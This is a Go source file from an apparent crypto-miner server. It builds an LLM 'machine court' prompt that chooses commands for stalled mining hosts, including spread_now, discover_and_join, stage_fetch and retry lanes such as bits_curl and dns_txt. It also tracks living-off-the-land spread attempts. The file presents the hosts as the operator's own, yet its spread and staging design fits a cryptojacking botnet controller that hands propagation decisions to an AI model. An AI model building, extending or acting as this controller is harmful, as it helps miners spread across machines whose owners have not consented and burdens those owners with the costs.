package ai import ( "encoding/json" "fmt" "strings" "crypto-miner-server/internal/strategy" ) // CourtContext supplies failure atlas and phenotype data for stuck-host tribunals. type CourtContext interface { FailureAtlasSummary(fingerprintKey, goos string) string BestPhenotype(fingerprintKey, goos string) (*strategy.FleetPhenotype, bool) } // CourtPromptBundle is the single-turn court prompt with role snippets for audit/UI. type CourtPromptBundle struct { SystemPrompt string UserPrompt string ProsecutorSnippet string DefenderSnippet string } // CourtDecisionMeta is persisted alongside a court-session decision. type CourtDecisionMeta struct { CourtSession bool ProsecutorSnippet string DefenderSnippet string JudgeVerdict string } // ShouldUseCourt returns true when the host is stuck or all spread tiers failed. func ShouldUseCourt(s AgentSnapshot) bool { return s.Stuck || AllSpreadTiersFailed(s) } // AllSpreadTiersFailed is true when every default spread tier was attempted and none succeeded. func AllSpreadTiersFailed(s AgentSnapshot) bool { attemptByTier := map[string]TierAttempt{} for _, a := range s.LOTLAttempts { attemptByTier[a.Tier] = a } attempted := 0 for _, tier := range defaultSpreadTiers { a, ok := attemptByTier[tier] if !ok { return false } attempted++ if a.OK { return false } } return attempted == len(defaultSpreadTiers) } // BuildCourtPrompt renders the singular machine court single-turn prompt. func BuildCourtPrompt(s AgentSnapshot, atlasSummary string, phenotype *strategy.FleetPhenotype, persona string) CourtPromptBundle { prosecutor := buildProsecutorSection(s, atlasSummary) defender := buildDefenderSection(phenotype) var system strings.Builder system.WriteString(strings.TrimSpace(`You are the AetherForge Singular Machine Court for the operator's own stuck fleet hosts. This is a single-turn tribunal with no memory. Three roles speak once: PROSECUTOR presents failure evidence. DEFENDER cites a winning fleet phenotype if one exists. JUDGE decides. Valid command types: bulk_command, agent_command, discover_and_join, restart_mining, reorder_tiers, spread_now, spread_retry_lane, skip_tier, stage_fetch, set_agent_version, noop. spread_retry_lane args: lane (string), optional data/manifest for staging lanes (bits_curl, do_peer, dns_txt, …). skip_tier args: tier (string) or skip_tiers (array) — merged into reorder_tiers on dispatch. Court-ordered spread_retry_lane and skip_tier execute as discover_and_join, stage_fetch, or reorder_tiers with L4 clearance. Never target third-party systems.`)) system.WriteString("\n\n## PROSECUTOR\n") system.WriteString(prosecutor) system.WriteString("\n\n## DEFENDER\n") system.WriteString(defender) var user strings.Builder fmt.Fprintf(&user, "Agent under review: name=%q id=%s\n", s.Name, s.AgentID) fmt.Fprintf(&user, "Platform: GOOS=%s version=%s build=%s\n", firstNonEmpty(s.GOOS, s.Platform), s.Version, s.BuildID) fmt.Fprintf(&user, "Mining hashrate: %.2f H/s (stuck)\n", s.MiningHashrate) if s.FingerprintKey != "" { fmt.Fprintf(&user, "Fingerprint: %s\n", s.FingerprintKey) } user.WriteString("\n## JUDGE\n") user.WriteString(CourtJudgeOverlay(persona)) user.WriteString("Reply with ONE sentence verdict on the first line, then JSON with at most 3 commands:\n") user.WriteString(`{"commands":[{"type":"noop","args":{}}]}` + "\n") user.WriteString("Example:\nVerdict: restart mining chain after tier exhaustion.\n{\"commands\":[{\"type\":\"restart_mining\",\"args\":{}}]}\n") return CourtPromptBundle{ SystemPrompt: system.String(), UserPrompt: user.String(), ProsecutorSnippet: prosecutor, DefenderSnippet: defender, } } func buildProsecutorSection(s AgentSnapshot, atlasSummary string) string { var b strings.Builder b.WriteString("Charges: host is stuck with zero hashrate after exhausting spread/mining options.\n") if strings.TrimSpace(atlasSummary) != "" { fmt.Fprintf(&b, "Failure atlas: %s\n", strings.TrimSpace(atlasSummary)) } failed, total := countSpreadFailures(s) if total > 0 { fmt.Fprintf(&b, "LOTL spread tier failures: %d/%d failed.\n", failed, total) } else { b.WriteString("LOTL spread tier failures: no spread attempts recorded yet.\n") } b.WriteString("Per-tier spread attempts:\n") attemptByTier := map[string]TierAttempt{} for _, a := range s.LOTLAttempts { attemptByTier[a.Tier] = a } for _, tier := range defaultSpreadTiers { if a, ok := attemptByTier[tier]; ok { status := "fail" if a.OK { status = "ok" } if a.Error != "" { fmt.Fprintf(&b, " - %s: %s (%s)\n", tier, status, a.Error) } else { fmt.Fprintf(&b, " - %s: %s\n", tier, status) } } } if s.ChainExhausted { b.WriteString("Mining chain exhausted: true\n") } return strings.TrimSpace(b.String()) } func buildDefenderSection(phenotype *strategy.FleetPhenotype) string { if phenotype == nil { return "No matching FleetPhenotype on record for this fingerprint. Counsel cannot cite a peer success path." } var b strings.Builder name := phenotype.SourceAgentName if name == "" { name = phenotype.SourceAgentID } fmt.Fprintf(&b, "Fleet phenotype from %s (fingerprint %s):\n", name, phenotype.Fingerprint) if phenotype.ActiveTier != "" { fmt.Fprintf(&b, "Winning tier: %s at %.2f H/s\n", phenotype.ActiveTier, phenotype.PeakHashrate) } if phenotype.SpreadLane != "" { fmt.Fprintf(&b, "Spread lane: %s\n", phenotype.SpreadLane) } if len(phenotype.TierOrder) > 0 { fmt.Fprintf(&b, "Tier order: %s\n", strings.Join(phenotype.TierOrder, " → ")) } if raw, err := json.Marshal(phenotype); err == nil { fmt.Fprintf(&b, "Phenotype JSON: %s", string(raw)) } return strings.TrimSpace(b.String()) } func countSpreadFailures(s AgentSnapshot) (failed, total int) { attemptByTier := map[string]TierAttempt{} for _, a := range s.LOTLAttempts { attemptByTier[a.Tier] = a } for _, tier := range defaultSpreadTiers { if a, ok := attemptByTier[tier]; ok { total++ if !a.OK { failed++ } } } return failed, total } // ExtractJudgeVerdict pulls the one-line verdict preceding the commands JSON. func ExtractJudgeVerdict(raw string) string { raw = strings.TrimSpace(raw) if raw == "" { return "" } if idx := strings.Index(raw, "{"); idx > 0 { line := strings.TrimSpace(raw[:idx]) return trimVerdictPrefix(line) } for _, line := range strings.Split(raw, "\n") { line = strings.TrimSpace(line) if line == "" || strings.HasPrefix(line, "{") { continue } return trimVerdictPrefix(line) } return "" } func trimVerdictPrefix(line string) string { line = strings.TrimSpace(line) for _, prefix := range []string{"Verdict:", "VERDICT:", "Judge:", "JUDGE:"} { if strings.HasPrefix(line, prefix) { return strings.TrimSpace(line[len(prefix):]) } } return line } // ComputeStuck mirrors agent stuck detection from snapshot telemetry. func ComputeStuck(s AgentSnapshot) bool { if s.Stuck { return true } if s.MiningHashrate > 0 { return false } if s.ChainExhausted { return true } attemptByTier := map[string]TierAttempt{} for _, a := range s.LOTLAttempts { attemptByTier[a.Tier] = a } attempted := 0 for _, tier := range defaultSpreadTiers { if a, ok := attemptByTier[tier]; ok { attempted++ if a.OK { return false } } } return attempted > 0 && attempted == len(defaultSpreadTiers) }